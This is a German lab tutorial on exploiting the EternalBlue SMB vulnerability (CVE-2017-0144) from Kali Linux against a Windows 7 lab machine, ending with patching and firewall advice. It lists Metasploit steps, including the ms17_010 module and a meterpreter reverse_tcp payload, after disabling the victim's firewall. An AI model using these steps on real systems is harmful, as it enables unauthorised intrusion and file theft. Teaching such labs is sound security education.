LAB: ANGRIFF AUF DAS WINDOWS-BETRIEBSSYSTEM BASIEREND AUF DER SMB-PROTOKOLLSCHWACHSTELLE.
I. BESCHREIBUNG
In diesem Lab verwenden wir zwei Rechner, um einen Angriff zu simulieren, der auf einer Schwachstelle im SMB-Protokoll des Windows-Betriebssystems basiert. Ein Rechner läuft mit Kali Linux und spielt die Rolle des Angreifers (Hacker). Ein weiterer Rechner dient als Opfer (Victim). Der Opferrechner läuft mit Windows 7 64-Bit und enthält die SMB-Sicherheitslücke. Dazu verwenden wir auf dem Kali-Linux-Rechter den Exploit-Code namens EternalBlue, um den Windows-7-Rechner anzugreifen.
II. ALLGEMEINE EINFÜHRUNG
Server Message Block (SMB) ist ein auf der Microsoft Windows-Plattform weit verbreitetes Dateifreigabeprotokoll. Dank dieses SMB-Protokolls können Windows-Computer, die im selben Netzwerk oder in derselben Domäne miteinander verbunden sind, Dateien untereinander teilen. Heute wird SMB auch als Common Internet File Sharing (CIFS) bezeichnet.
EternalBlue ist ein Exploit, der auf einer Schwachstelle des SMB-Protokolls über Port 445 basiert. Ursprünglich wurde EternalBlue von der US-amerikanischen National Security Agency (NSA) entwickelt. Später wurde es im Jahr 2017 von der Hackergruppe The Shadow Brokers geleakt. Im selben Jahr ereignete sich weltweit eine groß angelegte Angriffswelle von Ransomware (Datenverschlüsselungsviren) gegen Windows-Computer von Microsoft. Der bekannteste war der WannaCry-Virus. Obwohl diese Schwachstelle inzwischen von Microsoft mit dem Sicherheitsupdate MS17-010 geschlossen wurde, weist weltweit eine große Anzahl von Computern, die mit Windows-Betriebssystemen laufen, diese Sicherheitslücke immer noch auf. Diese Schwachstelle wurde unter CVE-2017-0144 veröffentlicht. (Windows SMB Remote Code Execution Vulnerability). Diese Schwachstelle ist äußerst gefährlich und sehr leicht auszunutzen. Bemerkenswert ist, dass der Hacker für einen Angriff über diese SMB-Protokollschwachstelle dem Opfer keinerlei bösartigen Virus senden oder zum Herunterladen oder Ausführen verleiten muss. Das bedeutet, dass das Opfer, selbst wenn es nichts tut, dennoch leicht vom Hacker angegriffen und die Kontrolle über den Computer übernommen werden kann, ohne dass es etwas davon merkt.
III. VORBEREITUNG
Vorbereitung von 2 virtuellen Maschinen, die in der VMware Workstation laufen. Die Kali-Linux-VM (Angreifer) hat die IP-Adresse 192.168.198.140 und die Windows-7-VM (Opfer) hat die IP-Adresse 192.168.198.143.
Auf der Kali-VM (Angreifer):
-IP überprüfen: ifconfig
-PostgreSQL-Dienst starten: # service postgresql start
-Prüfen, ob PostgreSQL läuft: # service postgresql status
Auf der Windows 7-VM (Opfer):
IP überprüfen: ipconfig
Firewall deaktivieren.
IV. DURCHFÜHRUNG DES ANGRIFFS.
Auf dem Kali-Rechner: Mit dem Befehl in Metasploit anmelden: # msfconsole
Sobald Metasploit geöffnet ist, suchen wir nach den Fehlern und Syntaxen im Zusammenhang mit ms17_010 mit dem Befehl: # search ms17_010
IP-Adresse des Opfer- und Angreiferrechners hinzufügen
Payload für den Exploit einrichten:
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
Exploit ausführen, um den Angriff durchzuführen
-Shell auf dem Opferrechner öffnen (über das Terminal des Angreifers ausgeführt), nachdem erfolgreich eingedrungen wurde:
=>An diesem Punkt gilt der Hacker als erfolgreich in den Opferrechner eingedrungen. Nun kann der Hacker Dateien vom Opferrechner löschen oder stehlen, ohne dass dieser es bemerkt. Der Hacker kann sogar direkt auf dem Opferrechner Viren hochladen und ausführen.
V. SCHUTZMASSNAHMEN.
– Um die Ausnutzung und Missbrauch des SMB-Protokolls zu vermeiden, sind folgende Maßnahmen erforderlich:
Firewall aktivieren.
Windows auf die neueste Version aktualisieren. Oder die Sicherheitsupdates von Microsoft herunterladen und installieren, insbesondere das Sicherheitsupdate ms17_010.
ducanh2oo3/vulnerability-research-cve-2017-0144
